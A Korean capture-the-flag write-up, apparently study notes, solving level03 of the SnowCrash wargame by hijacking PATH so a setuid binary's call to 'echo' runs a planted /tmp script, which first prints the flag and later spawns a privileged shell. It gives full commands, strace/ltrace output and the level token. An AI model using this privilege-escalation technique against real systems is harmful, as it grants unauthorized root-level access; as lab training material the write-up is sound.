

level03

≡ 태그	Linux	Shell
☀ 상태	완료	

풀이과정

[겪었던 어려움](#)

[풀이과정](#)

[환경변수 변경 확인](#)

[실행경로 변경](#)

[정답](#)

[풀이과정\(2\)](#)

[정답\(2\)](#)

[출처](#)

풀이과정

겪었던 어려움

- 리눅스 명령어 잘 기억이 안남
- setuid, getuid 개념에 대해서 확실하게 이해가 잘 안됨

풀이과정

환경변수 변경 확인

- 기존에 주어진 실행파일 level03을 cat으로 읽어 보았을 때 이질적인 문자열인 `/usr/bin/env echo Exploit me` 이 발견된다.
- strings level03을 이용해서 내부 파일의 인쇄 가능한 문자열을 확인했을 때 `/usr/bin/env echo Exploit me` 이 발견된다.

실행경로 변경

`echo Exploit me` 가 `'usr/bin/env'` 명령어를 통해서 작동되고 있다. 이 점을 이용해서 `echo "getflag" > <tmpFile>` 로 해서 getflag 명령어를 이행할 임시 파일 하나를 만들고 `chmod` 를 통해서 권한을 올린 후 `PATH=<임시로 둘 경로>:$PATH` 로 경로로 변경 후 실행시켜 주면 level04로 가는 토큰을 알 수 있게 된다.

정답

```
level03@SnowCrash:~$ ./level03
Exploit me
level03@SnowCrash:~$ echo "getflag" > /tmp/echo
```

```
level03@SnowCrash:~$ chmod 777 /tmp/echo
level03@SnowCrash:~$ PATH=/tmp:$PATH
level03@SnowCrash:~$ ./level03
Check flag.Here is your token : qi0maab88jeaj46qoumi7maus
level03@SnowCrash:~$ su level04
Password:
level04@SnowCrash:~$
```

풀이과정(2)

▼ level03 파일 분석

```
level03@SnowCrash:~$ ls -la /tmp/level03
-rwsr-sr-x 1 flag03 level03 8627 Mar  5  2016 level03
```

level04 실행파일의 소유자는 flag03이며 그룹은 level03이다. 게다가 파일의 실행 권한 부분을 보게 되면 소유자(rsr), 그룹(sr)로 되어있다. 각각 **setuid**와 **setgid**의 비트를 통해 결론적으로 누구라도 **flag03**과 **level03**을 권한을 가진채로 파일을 실행하게 된다.

▼ strace를 통해 시스템콜 분석

```
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xbffff6cc) = 2766
waitpid(2766, Exploit me
[{{WIFEXITED(s) && WEXITSTATUS(s) == 0}}, 0) = 2766
```

파일에 읽을 수 없는 코드가 있어서 strace로 시스템콜을 추적해봤다.

로그 중후반부에 수상한 결과가 있는데, 프로그램이 자식 프로세스를 만들고, 자식프로세스의 종료를 기다린 후 "Exploit me"를 출력한다.

▼ ltrace를 통해 라이브러리 함수 추적

```
system("/usr/bin/env echo Exploit me"Exploit me
<unfinished ...>
--- SIGCHLD (Child exited) ---
```

호출한 라이브러리를 보니 env와 함께 echo가 있었다. 아마 strace에서 clone했던 부분이라고 추정된다.

정답(2)

리눅스에서 자식프로세스를 생성하게 되면 부모의 환경변수와 권한을 그대로 복사하는 점을 이용하기로 했다.

우선 bash를 실행하는 스크립트 파일을 /tmp에 생성했다.

그리고 echo를 호출하면 해당 스크립트 파일이 실행되게끔 심볼릭링크를 설정해둬.

마지막으로 tmp디렉토리에서 command파일을 찾게끔 path변수에 tmp를 추가했다.

이렇게 하면 심볼릭 링크를 통해 스크립트 파일이 실행된다.

```
echo '#!/bin/sh' > /tmp/getshell.sh
echo 'exec /bin/sh' >> /tmp/getshell.sh
chmod +x /tmp/getshell.sh
ln -s /tmp/getshell.sh /tmp/echo
export PATH=/tmp:$PATH
./level03
```

'qi0maab88jeaj46qoumi7maus'

출처

리눅스 명령어 / strings 명령어 - 문자열만 추출하여 출력하기

리눅스 명령어 / strings 명령어 - 문자열만 추출하여 출력하기 strings 명령어는 실행파일의 ASCII 문자를 찾아 화면에 출력합니다. 바이너리 파일 또는 오브젝트 파일에 있는 모든 인쇄 가능한 문자열을 추출하여 출력하기 때문에, 분석할 때 많은 도움이 됩니다. strings [파일명] 옵션 -a -

<https://zidarn87.tistory.com/180>

